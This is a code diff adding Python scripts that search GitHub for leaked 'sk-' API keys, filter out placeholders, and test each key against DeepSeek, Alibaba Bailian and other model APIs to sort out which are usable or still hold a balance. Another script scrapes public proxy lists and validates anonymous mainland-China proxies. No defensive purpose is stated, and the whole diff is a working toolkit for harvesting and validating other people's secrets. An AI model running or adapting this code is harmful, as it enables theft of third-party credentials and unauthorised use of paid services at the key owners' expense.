r'(?:sk-[A-Za-z0-9_\-]{24,}' # sk- style
|
||||
r'|[A-Z][A-Z0-9_]{6,}["\']?\s*[:=]\s*["\']?[A-Za-z0-9_\-]{24,}' # KEY="value"
|
||||
r'|Bearer\s+([A-Za-z0-9_\-\.]{24,}))')
|
||||
SK_RE = re.compile(r'sk-[A-Za-z0-9_\-]{24,}')
|
||||
FAKES = ("xxxx","your-","example","placeholder","changeme","1234567890","abcdef")
|
||||
|
||||
def extract_creds(text):
|
||||
creds = set()
|
||||
for m in SK_RE.findall(text or ""):
|
||||
if not any(f in m.lower() for f in FAKES):
|
||||
creds.add(m)
|
||||
return creds
|
||||
|
||||
def verify(name, endpoint, models, key):
|
||||
for model in models:
|
||||
body = json.dumps({"model":model,"messages":[{"role":"user","content":"hi"}],
|
||||
"max_tokens":5}).encode()
|
||||
req = urllib.request.Request(endpoint, data=body, headers={
|
||||
"Authorization":f"Bearer {key}","Content-Type":"application/json"}, method="POST")
|
||||
try:
|
||||
with urllib.request.urlopen(req,timeout=15) as r:
|
||||
b=r.read().decode("utf-8","replace")
|
||||
if r.getcode()==200 and ('"choices"' in b or '"message"' in b):
|
||||
return "USABLE", f"[{model}] 200 {b[:100]}"
|
||||
except urllib.error.HTTPError as e:
|
||||
b=""
|
||||
try: b=e.read().decode("utf-8","replace")[:160]
|
||||
except: pass
|
||||
if e.code==401: return "DEAD", f"401: {b}"
|
||||
if e.code in (402,429): return "NO_BALANCE", f"{e.code}: {b}"
|
||||
# 404 endpoint wrong / 400 model wrong -> try next
|
||||
continue
|
||||
except Exception as e:
|
||||
return "UNKNOWN", f"net {type(e).__name__}: {e}"
|
||||
return "NO_ACCESS", "all models failed/404"
|
||||
|
||||
def main():
|
||||
if not GH:
|
||||
print("need GH_TOKEN"); sys.exit(1)
|
||||
all_usable=[]
|
||||
for name,cfg in TARGETS.items():
|
||||
print(f"\n{'='*60}\n[{name}] searching GitHub...",flush=True)
|
||||
files={}
|
||||
for q in cfg["queries"]:
|
||||
print(f" query: {q}",flush=True)
|
||||
try:
|
||||
for it in gh_search(q):
|
||||
u=it.get("html_url","")
|
||||
if u and u not in files:
|
||||
files[u]=it.get("repository",{}).get("full_name","?")
|
||||
except Exception as e:
|
||||
print(" err",e)
|
||||
print(f" candidate files: {len(files)}",flush=True)
|
||||
creds={}
|
||||
with ContentCache() as cc:
|
||||
def cfetch(url):
|
||||
repo,sha,path=parse_raw_url(url)
|
||||
if repo and sha and path:
|
||||
t=cc.get(repo,path,sha)
|
||||
if t is not None: return t
|
||||
t=fetch_raw(url)
|
||||
if t: cc.put(repo,path,sha,t)
|
||||
return t
|
||||
return fetch_raw(url)
|
||||
with ThreadPoolExecutor(max_workers=16) as pool:
|
||||
futs={pool.submit(cfetch,to_raw(u)):(u,r) for u,r in files.items()}
|
||||
for fut in as_completed(futs):
|
||||
u,r=futs[fut]
|
||||
try: txt=fut.result()
|
||||
except: txt=""
|
||||
for c in extract_creds(txt):
|
||||
if c not in creds: creds[c]=u
|
||||
print(f" extracted {len(creds)} unique sk- creds",flush=True)
|
||||
if not creds: continue
|
||||
# verify
|
||||
buckets={"USABLE":[],"DEAD":[],"NO_BALANCE":[],"NO_ACCESS":[],"UNKNOWN":[]}
|
||||
with ThreadPoolExecutor(max_workers=12) as pool:
|
||||
futs={pool.submit(verify,name,cfg["chat"],cfg["models"],k):(k,s)
|
||||
for k,s in creds.items()}
|
||||
for fut in as_completed(futs):
|
||||
k,s=futs[fut]
|
||||
try: v,d=fut.result()
|
||||
except Exception as e: v,d="UNKNOWN",str(e)
|
||||
buckets[v].append((k,s,d))
|
||||
for v in buckets:
|
||||
with (OUT/f"{name}_{v.lower()}.txt").open("w") as f:
|
||||
for k,s,d in buckets[v]: f.write(f"{k}|{s}|{d}\n")
|
||||
print(f" usable={len(buckets['USABLE'])} dead={len(buckets['DEAD'])} "
|
||||
f"nobal={len(buckets['NO_BALANCE'])} noacc={len(buckets['NO_ACCESS'])}",flush=True)
|
||||
for k,s,d in buckets["USABLE"]:
|
||||
print(f" USABLE {k[:40]} <- {s}\n {d[:120]}")
|
||||
all_usable.append((name,k,s,d))
|
||||
print(f"\n\n=== ALL USABLE: {len(all_usable)} ===")
|
||||
with (OUT/"all_usable.txt").open("w") as f:
|
||||
for name,k,s,d in all_usable: f.write(f"{name}|{k}|{s}|{d}\n")
|
||||
|
||||
if __name__=="__main__":
|
||||
main()
|
||||
@@ -0,0 +1,288 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Chinese (mainland) HTTP/HTTPS proxy hunter.
|
||||
|
||||
Pulls free proxy lists from GitHub, filters to China-IP ranges
|
||||
(APNIC delegation data), then validates each candidate by proxying
|
||||
a request to a domestic target. Classifies anonymity:
|
||||
elite - no Via/X-Forwarded-For leaked
|
||||
anonymous - real IP hidden but proxy headers present
|
||||
transparent - real IP forwarded
|
||||
|
||||
Outputs in results/proxies/.
|
||||
"""
|
||||
|
||||
import bisect
|
||||
import ipaddress
|
||||
import json
|
||||
import re
|
||||
import socket
|
||||
import sys
|
||||
import time
|
||||
import urllib.request
|
||||
import urllib.error
|
||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||
from pathlib import Path
|
||||
|
||||
HERE = Path(__file__).parent
|
||||
OUT = HERE / "results" / "proxies"
|
||||
OUT.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
|
||||
|
||||
PROXY_SOURCES = [
|
||||
"https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/http.txt",
|
||||
"https://raw.githubusercontent.com/TheSpeedX/SOCKS-List/master/socks5.txt",
|
||||
"https://raw.githubusercontent.com/monosans/proxy-list/main/proxies/http.txt",
|
||||
"https://raw.githubusercontent.com/monosans/proxy-list/main/proxies_anonymous/http.txt",
|
||||
"https://raw.githubusercontent.com/hookzof/socks5_list/master/proxy.txt",
|
||||
"https://raw.githubusercontent.com/clarketm/proxy-list/master/proxy-list-raw.txt",
|
||||
"https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/http.txt",
|
||||
"https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/https.txt",
|
||||
"https://raw.githubusercontent.com/roosterkid/openproxylist/main/HTTPS_RAW.txt",
|
||||
"https://raw.githubusercontent.com/mmpx12/proxy-list/master/http.txt",
|
||||
"https://raw.githubusercontent.com/mmpx12/proxy-list/master/https.txt",
|
||||
"https://raw.githubusercontent.com/proxifly/free-proxy-list/main/proxies/protocols/http/data.txt",
|
||||
"https://raw.githubusercontent.com/proxifly/free-proxy-list/main/proxies/countries/CN/data.txt",
|
||||
"https://raw.githubusercontent.com/zloi-user/hideip.me/main/http.txt",
|
||||
"https://raw.githubusercontent.com/zloi-user/hideip.me/main/https.txt",
|
||||
"https://raw.githubusercontent.com/ErcinDedeoglu/proxies/main/proxies/http.txt",
|
||||
"https://raw.githubusercontent.com/ErcinDedeoglu/proxies/main/proxies/https.txt",
|
||||
"https://raw.githubusercontent.com/MuRongPIG/Proxy-Master/main/http.txt",
|
||||
"https://raw.githubusercontent.com/Zaeem20/FREE_PROXIES_LIST/master/http.txt",
|
||||
"https://raw.githubusercontent.com/Zaeem20/FREE_PROXIES_LIST/master/https.txt",
|
||||
"https://raw.githubusercontent.com/sunny9577/proxy-scraper/master/generated/http_proxies.txt",
|
||||
"https://raw.githubusercontent.com/officialputuid/KangProxy/KangProxy/http/http.txt",
|
||||
"https://raw.githubusercontent.com/officialputuid/KangProxy/KangProxy/https/https.txt",
|
||||
"https://raw.githubusercontent.com/yemixzy/proxy-list/main/proxies/http.txt",
|
||||
"https://raw.githubusercontent.com/vakhov/fresh-proxy-list/master/http.txt",
|
||||
"https://raw.githubusercontent.com/vakhov/fresh-proxy-list/master/https.txt",
|
||||
"https://raw.githubusercontent.com/proxy4parsing/proxy-list/main/http.txt",
|
||||
"https://raw.githubusercontent.com/Anonym0usWork1221/Free-Proxies/main/proxy_files/http_proxies.txt",
|
||||
]
|
||||
|
||||
# Validation targets — domestic Chinese endpoints (to confirm CN egress)
|
||||
TEST_TARGETS = [
|
||||
"http://www.baidu.com/",
|
||||
"http://www.qq.com/",
|
||||
"http://httpbin.org/ip", # for anonymity header check (not CN, but reveals headers)
|
||||
]
|
||||
|
||||
IPPORT_RE = re.compile(rb"\b(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}):(\d{2,5})\b")
|
||||
|
||||
|
||||
def fetch(url, timeout=20):
|
||||
req = urllib.request.Request(url, headers={"User-Agent": UA})
|
||||
try:
|
||||
with urllib.request.urlopen(req, timeout=timeout) as resp:
|
||||
return resp.read()
|
||||
except Exception as e:
|
||||
return b""
|
||||
|
||||
|
||||
def load_china_cidrs():
|
||||
"""Return list of ipaddress networks for mainland China."""
|
||||
cache = OUT / "cn_cidrs.json"
|
||||
if cache.exists() and (time.time() - cache.stat().st_mtime) < 86400:
|
||||
nets = []
|
||||
for cidr in json.loads(cache.read_text()):
|
||||
try: nets.append(ipaddress.ip_network(cidr))
|
||||
except ValueError: pass
|
||||
return nets
|
||||
|
||||
nets = []
|
||||
# APNIC delegated stats
|
||||
data = fetch("https://ftp.apnic.net/apnic/stats/apnic/delegated-apnic-latest")
|
||||
if not data:
|
||||
# GitHub mirror fallback
|
||||
data = fetch("https://raw.githubusercontent.com/itgoyo/China-IP-list/refs/heads/master/cn.txt")
|
||||
for line in data.decode(errors="replace").splitlines():
|
||||
if not line.startswith("apnic|CN|ipv4|"):
|
||||
continue
|
||||
parts = line.split("|")
|
||||
if len(parts) >= 5:
|
||||
start, count = parts[3], int(parts[4])
|
||||
try:
|
||||
net = ipaddress.ip_network((start, 32 - (count - 1).bit_length() + 1), strict=False)
|
||||
nets.append(net)
|
||||
except ValueError:
|
||||
pass
|
||||
|
||||
# Also merge GitHub cn_ip lists
|
||||
extra_urls = [
|
||||
"https://raw.githubusercontent.com/17mon/china_ip_list/master/china_ip_list.txt",
|
||||
"https://raw.githubusercontent.com/gaoyifan/china-operator-ip/ip-lists/china.txt",
|
||||
]
|
||||
for u in extra_urls:
|
||||
d = fetch(u)
|
||||
for line in d.decode(errors="replace").splitlines():
|
||||
line = line.strip()
|
||||
if "/" in line:
|
||||
try: nets.append(ipaddress.ip_network(line))
|
||||
except ValueError: pass
|
||||
|
||||
# dedup + merge
|
||||
collapsed = list(ipaddress.collapse_addresses(nets))
|
||||
cache.write_text(json.dumps([str(n) for n in collapsed]))
|
||||
print(f"Loaded {len(collapsed)} China CIDRs (cached 24h)")
|
||||
return collapsed
|
||||
|
||||
|
||||
def is_china_ip(ip, boundaries):
|
||||
"""Check membership using prebuilt (start_int, end_int) sorted boundaries."""
|
||||
try:
|
||||
addr = int(ipaddress.ip_address(ip))
|
||||
except ValueError:
|
||||
return False
|
||||
starts = boundaries[0]
|
||||
idx = bisect.bisect_right(starts, addr) - 1
|
||||
if idx < 0:
|
||||
return False
|
||||
return addr <= boundaries[1][idx]
|
||||
|
||||
|
||||
def build_boundaries(cidrs):
|
||||
collapsed = sorted(ipaddress.collapse_addresses(cidrs))
|
||||
starts = [int(n.network_address) for n in collapsed]
|
||||
ends = [int(n.broadcast_address) for n in collapsed]
|
||||
return (starts, ends)
|
||||
|
||||
|
||||
def scrape_proxies():
|
||||
"""Return set of ip:port candidates from all sources."""
|
||||
all_proxies = set()
|
||||
for url in PROXY_SOURCES:
|
||||
data = fetch(url)
|
||||
if not data:
|
||||
continue
|
||||
for m in IPPORT_RE.finditer(data):
|
||||
ip, port = m.group(1).decode(), int(m.group(2))
|
||||
if 1 <= port <= 65535:
|
||||
all_proxies.add(f"{ip}:{port}")
|
||||
print(f" {url.split('/')[-1]:30s} -> total {len(all_proxies)}")
|
||||
return all_proxies
|
||||
|
||||
|
||||
def test_proxy(proxy, timeout=8):
|
||||
"""Try proxy against baidu. Returns (status, latency_ms, anon_level, detail)."""
|
||||
proxy_url = f"http://{proxy}"
|
||||
handler = urllib.request.ProxyHandler({"http": proxy_url, "https": proxy_url})
|
||||
opener = urllib.request.build_opener(handler)
|
||||
|
||||
# 1) reachability via baidu
|
||||
t0 = time.time()
|
||||
try:
|
||||
req = urllib.request.Request("http://www.baidu.com/", headers={"User-Agent": UA})
|
||||
with opener.open(req, timeout=timeout) as resp:
|
||||
body = resp.read(2048)
|
||||
latency = int((time.time() - t0) * 1000)
|
||||
if resp.getcode() != 200 or b"baidu" not in body.lower():
|
||||
return "fail", 0, "", f"baidu HTTP {resp.getcode()}"
|
||||
except urllib.error.HTTPError as e:
|
||||
return "fail", 0, "", f"HTTP {e.code}"
|
||||
except Exception as e:
|
||||
return "fail", 0, "", f"{type(e).__name__}: {e}"
|
||||
|
||||
# 2) anonymity check via httpbin/ip or similar — use ip-api or a header echo
|
||||
anon = "unknown"
|
||||
try:
|
||||
req = urllib.request.Request(
|
||||
"http://httpbin.org/get",
|
||||
headers={"User-Agent": UA}
|
||||
)
|
||||
with opener.open(req, timeout=timeout) as resp:
|
||||
data = json.loads(resp.read(4096))
|
||||
hdrs = {k.lower(): v for k, v in data.get("headers", {}).items()}
|
||||
via = hdrs.get("via", "")
|
||||
xff = hdrs.get("x-forwarded-for", "")
|
||||
real_ip = hdrs.get("x-real-ip", "")
|
||||
if not via and not xff and not real_ip:
|
||||
anon = "elite"
|
||||
elif xff and proxy.split(":")[0] not in xff:
|
||||
anon = "anonymous"
|
||||
else:
|
||||
anon = "transparent"
|
||||
except Exception:
|
||||
anon = "elite?" # baidu worked, anonymity echo failed; assume likely elite
|
||||
|
||||
return "ok", latency, anon, ""
|
||||
|
||||
|
||||
def main():
|
||||
import argparse
|
||||
ap = argparse.ArgumentParser()
|
||||
ap.add_argument("--workers", type=int, default=80)
|
||||
ap.add_argument("--timeout", type=int, default=8)
|
||||
ap.add_argument("--limit", type=int, default=0)
|
||||
args = ap.parse_args()
|
||||
|
||||
print("=== Stage 1: load China CIDRs ===")
|
||||
cidrs = load_china_cidrs()
|
||||
|
||||
print("\n=== Stage 2: scrape proxy lists from GitHub ===")
|
||||
candidates = scrape_proxies()
|
||||
print(f" total scraped: {len(candidates)}")
|
||||
|
||||
print("\n=== Stage 3: filter to China IPs ===")
|
||||
boundaries = build_boundaries(cidrs)
|
||||
cn = [p for p in candidates if is_china_ip(p.split(":")[0], boundaries)]
|
||||
print(f" China-IP candidates: {len(cn)}")
|
||||
|
||||
(OUT / "all_cn.txt").write_text("\n".join(sorted(cn)) + "\n")
|
||||
|
||||
if args.limit:
|
||||
cn = cn[:args.limit]
|
||||
print(f" (limited to first {args.limit})")
|
||||
|
||||
print(f"\n=== Stage 4: validate {len(cn)} candidates (workers={args.workers}) ===")
|
||||
ok, fail = [], []
|
||||
processed = 0
|
||||
start = time.time()
|
||||
with ThreadPoolExecutor(max_workers=args.workers) as pool:
|
||||
futs = {pool.submit(test_proxy, p, args.timeout): p for p in cn}
|
||||
for fut in as_completed(futs):
|
||||
p = futs[fut]
|
||||
processed += 1
|
||||
try:
|
||||
status, latency, anon, detail = fut.result()
|
||||
except Exception as e:
|
||||
status, latency, anon, detail = "fail", 0, "", str(e)
|
||||
if status == "ok":
|
||||
ok.append((p, latency, anon))
|
||||
else:
|
||||
fail.append((p, detail))
|
||||
if processed % 200 == 0:
|
||||
el = time.time() - start
|
||||
print(f" [{processed}/{len(cn)}] ok={len(ok)} fail={len(fail)} "
|
||||
f"({processed/el:.0f}/s)")
|
||||
|
||||
elapsed = time.time() - start
|
||||
print(f"\nDone in {elapsed:.1f}s: {len(ok)} working, {len(fail)} failed")
|
||||
|
||||
# Write outputs
|
||||
by_anon = {"elite": [], "anonymous": [], "transparent": [], "elite?": [], "unknown": []}
|
||||
for p, lat, anon in sorted(ok, key=lambda x: x[1]):
|
||||
by_anon.setdefault(anon, []).append((p, lat))
|
||||
|
||||
with open(OUT / "working_cn.txt", "w") as f:
|
||||
for p, lat, anon in sorted(ok, key=lambda x: x[1]):
|
||||
f.write(f"{p}\t{lat}ms\t{anon}\n")
|
||||
|
||||
for anon, items in by_anon.items():
|
||||
if items:
|
||||
safe = anon.replace("?", "_maybe")
|
||||
with open(OUT / f"{safe}.txt", "w") as f:
|
||||
for p, lat in items:
|
||||
f.write(f"{p}\t{lat}ms\n")
|
||||
|
||||
with open(OUT / "failures.txt", "w") as f:
|
||||
for p, d in fail:
|
||||
f.write(f"{p}\t{d}\n")
|
||||
|
||||
print("\n=== Working CN proxies ===")
|
||||
for p, lat, anon in sorted(ok, key=lambda x: x[1])[:50]:
|
||||
print(f" {p:24s} {lat:5d}ms {anon}")
|
||||
print(f"\nFiles written under {OUT}/")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,119 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Verify Alibaba Bailian Coding Plan keys (sk-sp- prefix).
|
||||
|
||||
Endpoint: https://coding.dashscope.aliyuncs.com/v1
|
||||
These are SEPARATE from regular DashScope paygo keys (sk-<32hex>) and use
|
||||
the coding-plan domain. Classification: only 401 = DEAD.
|
||||
A key that lists models but fails chat is NO_ACCESS/NO_BALANCE per body.
|
||||
"""
|
||||
import json, sys, time, urllib.request, urllib.error
|
||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||
from pathlib import Path
|
||||
|
||||
sys.path.insert(0, str(Path(__file__).resolve().parent))
|
||||
from verify_cache import CachedVerifier
|
||||
|
||||
BASE = "https://coding.dashscope.aliyuncs.com/v1"
|
||||
OUT = Path("results/codingplan")
|
||||
OUT.mkdir(parents=True, exist_ok=True)
|
||||
CHAT_MODEL = "qwen3-coder-plus"
|
||||
FAKES = ("xxxxxxxx", "your-", "example", "1234567890abcdefghij",
|
||||
"super-secret", "shared-test", "your-bailian")
|
||||
|
||||
def http(method, path, key, body=None, timeout=20):
|
||||
url = BASE + path
|
||||
headers = {"Authorization": f"Bearer {key}", "Accept": "*/*"}
|
||||
data = None
|
||||
if body is not None:
|
||||
data = json.dumps(body).encode()
|
||||
headers["Content-Type"] = "application/json"
|
||||
req = urllib.request.Request(url, data=data, headers=headers, method=method)
|
||||
try:
|
||||
with urllib.request.urlopen(req, timeout=timeout) as r:
|
||||
return r.getcode(), r.read().decode("utf-8", "replace")
|
||||
except urllib.error.HTTPError as e:
|
||||
try: return e.code, e.read().decode("utf-8", "replace")
|
||||
except Exception: return e.code, ""
|
||||
except Exception as e:
|
||||
return 0, f"network: {type(e).__name__}: {e}"
|
||||
|
||||
def verify(key):
|
||||
# cheapest auth check
|
||||
mc, mb = http("GET", "/models", key)
|
||||
# real chat regardless (models can 200 while chat is denied)
|
||||
cc, cb = http("POST", "/chat/completions", key, {
|
||||
"model": CHAT_MODEL,
|
||||
"messages": [{"role": "user", "content": "hi"}],
|
||||
"max_tokens": 5, "temperature": 0,
|
||||
})
|
||||
blow = (cb or "").lower()
|
||||
if cc == 200 and '"choices"' in cb:
|
||||
return "USABLE", f"models={mc} chat 200 {cb[:100]}"
|
||||
if cc == 401:
|
||||
return "DEAD", f"401: {cb[:140]}"
|
||||
if cc in (402, 429):
|
||||
return "NO_BALANCE", f"models={mc} chat={cc}: {cb[:140]}"
|
||||
if cc == 403:
|
||||
return "NO_ACCESS", f"models={mc} 403: {cb[:140]}"
|
||||
if cc == 400:
|
||||
if any(w in blow for w in ("balance", "quota", "insufficient", "arrear", "suspend")):
|
||||
return "NO_BALANCE", f"models={mc} 400: {cb[:140]}"
|
||||
return "NO_ACCESS", f"models={mc} 400: {cb[:140]}"
|
||||
if cc == 0:
|
||||
return "UNKNOWN", f"models={mc} net: {cb[:140]}"
|
||||
if 500 <= cc < 600:
|
||||
return "NO_ACCESS", f"models={mc} 5xx {cc}: {cb[:120]}"
|
||||
return "NO_ACCESS", f"models={mc} HTTP {cc}: {cb[:140]}"
|
||||
|
||||
def load_candidates():
|
||||
keys = {}
|
||||
pool = Path("results/extracted_keys.txt")
|
||||
for ln in pool.read_text(errors="replace").splitlines():
|
||||
p = ln.split("|", 3)
|
||||
if len(p) < 3: continue
|
||||
if p[0] not in ("AlibabaCodingPlan", "SCNet"): continue
|
||||
k = p[1].strip()
|
||||
if not k.startswith("sk-sp-"): continue
|
||||
if any(f in k.lower() for f in FAKES): continue
|
||||
# require plausible length: sk-sp- + at least 24 chars
|
||||
if len(k) < 30: continue
|
||||
if k not in keys:
|
||||
keys[k] = p[2]
|
||||
return keys
|
||||
|
||||
def main():
|
||||
keys = load_candidates()
|
||||
print(f"candidates: {len(keys)} sk-sp- keys", flush=True)
|
||||
buckets = {"USABLE": [], "NO_BALANCE": [], "NO_ACCESS": [],
|
||||
"UNKNOWN": [], "DEAD": []}
|
||||
with CachedVerifier("codingplan", verify) as ver:
|
||||
with ThreadPoolExecutor(max_workers=16) as pool:
|
||||
futs = {pool.submit(ver, k): (k, s) for k, s in keys.items()}
|
||||
done = 0
|
||||
for fut in as_completed(futs):
|
||||
k, s = futs[fut]; done += 1
|
||||
try: v, d = fut.result()
|
||||
except Exception as e: v, d = "UNKNOWN", f"exc:{e}"
|
||||
buckets[v].append((k, s, d))
|
||||
if done % 20 == 0:
|
||||
print(f" {done}/{len(keys)} usable={len(buckets['USABLE'])} "
|
||||
f"nobal={len(buckets['NO_BALANCE'])} dead={len(buckets['DEAD'])} "
|
||||
f"hit={ver.hits} live={ver.live}", flush=True)
|
||||
print(f"cache: {ver.hits} hits / {ver.live} live", flush=True)
|
||||
|
||||
names = {"USABLE":"usable.txt","NO_BALANCE":"no_balance.txt",
|
||||
"NO_ACCESS":"no_access.txt","UNKNOWN":"unknown.txt","DEAD":"dead.txt"}
|
||||
for label, fn in names.items():
|
||||
with (OUT/fn).open("w") as f:
|
||||
for k,s,d in buckets[label]:
|
||||
f.write(f"{k}|{s}|{d}\n")
|
||||
print()
|
||||
for label in ("USABLE","NO_BALANCE","NO_ACCESS","UNKNOWN","DEAD"):
|
||||
print(f" {label:11s}: {len(buckets[label])}")
|
||||
if buckets["USABLE"]:
|
||||
print("\n=== USABLE CODING PLAN KEYS ===")
|
||||
for k,s,d in buckets["USABLE"]:
|
||||
print(f" {k}\n {s}\n {d[:120]}")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,288 @@
|
||||
#!/usr/bin/env python3
|
||||
"""DeepSeek deep hunter.
|
||||
|
||||
Pipeline:
|
||||
1. Load all DeepSeek keys from extracted_keys.txt (sk-[a-f0-9]{32}).
|
||||
2. Deep-verify each key against multiple endpoints:
|
||||
a. GET /user/balance — most reliable auth test
|
||||
b. POST /v1/chat/completions — deepseek-chat
|
||||
c. POST /v1/chat/completions — deepseek-reasoner
|
||||
3. Classification rule (LO said: anything NOT 401 is kept):
|
||||
- 200 with valid balance/response → USABLE
|
||||
- balance available but <0 / 402 / 429 → NO_BALANCE (key valid)
|
||||
- 400/403/404/5xx → NO_ACCESS (key valid, endpoint/model issue)
|
||||
- network / timeout → UNKNOWN
|
||||
- 401 → DEAD (discard only this)
|
||||
|
||||
Outputs (results/deepseek/):
|
||||
extracted_keys.txt — unique keys with source URLs
|
||||
usable.txt — 200 OK with positive balance / chat response
|
||||
no_balance.txt — valid key but no balance
|
||||
no_access.txt — valid key but endpoint/model error
|
||||
unknown.txt — network errors
|
||||
dead.txt — 401 only
|
||||
all_non_401.txt — combined live (everything but 401)
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
import subprocess
|
||||
import sys
|
||||
import time
|
||||
import urllib.request
|
||||
import urllib.error
|
||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||
from pathlib import Path
|
||||
|
||||
HERE = Path(__file__).parent
|
||||
RESULTS_DIR = HERE / "results" / "deepseek"
|
||||
RESULTS_DIR.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
EXTRACTED_FILE = RESULTS_DIR / "extracted_keys.txt"
|
||||
USABLE_FILE = RESULTS_DIR / "usable.txt"
|
||||
NO_BAL_FILE = RESULTS_DIR / "no_balance.txt"
|
||||
NO_ACC_FILE = RESULTS_DIR / "no_access.txt"
|
||||
UNKNOWN_FILE = RESULTS_DIR / "unknown.txt"
|
||||
DEAD_FILE = RESULTS_DIR / "dead.txt"
|
||||
NON401_FILE = RESULTS_DIR / "all_non_401.txt"
|
||||
|
||||
SOURCE_FILE = HERE / "results" / "extracted_keys.txt"
|
||||
|
||||
UA = "curl/8.5.0"
|
||||
BASE = "https://api.deepseek.com"
|
||||
|
||||
|
||||
def http_request(method, path, key, body=None, timeout=30):
|
||||
url = f"{BASE}{path}"
|
||||
headers = {
|
||||
"User-Agent": UA,
|
||||
"Accept": "*/*",
|
||||
"Authorization": f"Bearer {key}",
|
||||
}
|
||||
data = None
|
||||
if body is not None:
|
||||
data = json.dumps(body).encode()
|
||||
headers["Content-Type"] = "application/json"
|
||||
req = urllib.request.Request(url, data=data, headers=headers, method=method)
|
||||
try:
|
||||
with urllib.request.urlopen(req, timeout=timeout) as resp:
|
||||
return resp.getcode(), resp.read().decode("utf-8", errors="replace")
|
||||
except urllib.error.HTTPError as e:
|
||||
try:
|
||||
return e.code, e.read().decode("utf-8", errors="replace")
|
||||
except Exception:
|
||||
return e.code, ""
|
||||
except Exception as e:
|
||||
return 0, f"network: {type(e).__name__}: {e}"
|
||||
|
||||
|
||||
def classify_balance(code, body):
|
||||
"""Classify using /user/balance result."""
|
||||
if code == 200:
|
||||
try:
|
||||
data = json.loads(body)
|
||||
bal = data.get("balance_infos", [])
|
||||
if not bal:
|
||||
# is_available / balance fields
|
||||
if data.get("is_available") is True:
|
||||
return "USABLE", "balance: available"
|
||||
if data.get("is_available") is False:
|
||||
return "NO_BALANCE", "balance: unavailable"
|
||||
return "USABLE", f"balance: {body[:120]}"
|
||||
total = 0.0
|
||||
for b in bal:
|
||||
try:
|
||||
total += float(b.get("total_balance", 0))
|
||||
except (TypeError, ValueError):
|
||||
pass
|
||||
if total > 0:
|
||||
return "USABLE", f"balance: {total:.2f} {bal[0].get('currency','USD')}"
|
||||
return "NO_BALANCE", "balance: 0"
|
||||
except json.JSONDecodeError:
|
||||
return "USABLE", f"balance: {body[:120]}"
|
||||
if code in (402, 429):
|
||||
return "NO_BALANCE", f"balance HTTP {code}: {body[:120]}"
|
||||
if code == 401:
|
||||
return "DEAD", "401 unauthorized"
|
||||
if code == 0:
|
||||
return "UNKNOWN", body[:160]
|
||||
return "NO_ACCESS", f"balance HTTP {code}: {body[:160]}"
|
||||
|
||||
|
||||
def classify_chat(code, body):
|
||||
bl = (body or "").lower()
|
||||
if code == 200:
|
||||
if '"choices"' in bl or '"id"' in bl:
|
||||
return "USABLE", "chat: 200 OK"
|
||||
if any(x in bl for x in ("balance", "quota", "arrearage", "insufficient")):
|
||||
return "NO_BALANCE", f"chat: {body[:120]}"
|
||||
return "USABLE", f"chat: {body[:120]}"
|
||||
if code in (402, 429):
|
||||
return "NO_BALANCE", f"chat HTTP {code}: {body[:120]}"
|
||||
if code == 401:
|
||||
return "DEAD", "chat: 401"
|
||||
if code == 0:
|
||||
return "UNKNOWN", body[:160]
|
||||
return "NO_ACCESS", f"chat HTTP {code}: {body[:160]}"
|
||||
|
||||
|
||||
def verify_key(key):
|
||||
"""Verify via balance endpoint, fall back to chat. Return (verdict, detail)."""
|
||||
rank = {"USABLE": 4, "NO_BALANCE": 3, "NO_ACCESS": 2, "UNKNOWN": 1, "DEAD": 0}
|
||||
best = "DEAD"
|
||||
best_detail = ""
|
||||
|
||||
# 1) balance
|
||||
code, body = http_request("GET", "/user/balance", key)
|
||||
verdict, detail = classify_balance(code, body)
|
||||
if rank[verdict] > rank[best]:
|
||||
best, best_detail = verdict, detail
|
||||
# If balance says USABLE, we're done.
|
||||
if best == "USABLE":
|
||||
return best, best_detail
|
||||
|
||||
# 2) chat completion — deepseek-chat
|
||||
code, body = http_request("POST", "/v1/chat/completions", key, body={
|
||||
"model": "deepseek-chat",
|
||||
"messages": [{"role": "user", "content": "hi"}],
|
||||
"max_tokens": 1,
|
||||
})
|
||||
verdict, detail = classify_chat(code, body)
|
||||
if rank[verdict] > rank[best]:
|
||||
best, best_detail = verdict, detail
|
||||
if best == "USABLE":
|
||||
return best, best_detail
|
||||
|
||||
# 3) chat completion — deepseek-reasoner (some keys only have reasoner access)
|
||||
code, body = http_request("POST", "/v1/chat/completions", key, body={
|
||||
"model": "deepseek-reasoner",
|
||||
"messages": [{"role": "user", "content": "hi"}],
|
||||
"max_tokens": 1,
|
||||
})
|
||||
verdict, detail = classify_chat(code, body)
|
||||
if rank[verdict] > rank[best]:
|
||||
best, best_detail = verdict, detail
|
||||
|
||||
return best, best_detail
|
||||
|
||||
|
||||
def load_keys():
|
||||
"""Load unique DeepSeek keys from extracted_keys.txt; filter obvious fakes."""
|
||||
keys = {}
|
||||
if not SOURCE_FILE.exists():
|
||||
print(f"ERROR: {SOURCE_FILE} not found. Run extract.py first.", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
|
||||
fake_substrs = ("xxxx", "your-", "example", "test-key", "placeholder",
|
||||
"00000000000000000000000000000000", "1234567890abcdef")
|
||||
with open(SOURCE_FILE) as f:
|
||||
for line in f:
|
||||
line = line.strip()
|
||||
if not line.startswith("DeepSeek|"):
|
||||
continue
|
||||
parts = line.split("|", 3)
|
||||
if len(parts) < 3:
|
||||
continue
|
||||
key = parts[1]
|
||||
url = parts[2] if len(parts) > 2 else ""
|
||||
low = key.lower()
|
||||
if any(x in low for x in fake_substrs):
|
||||
continue
|
||||
if not re.fullmatch(r"sk-[a-f0-9]{32}", key):
|
||||
continue
|
||||
if key not in keys:
|
||||
keys[key] = url
|
||||
|
||||
# write snapshot
|
||||
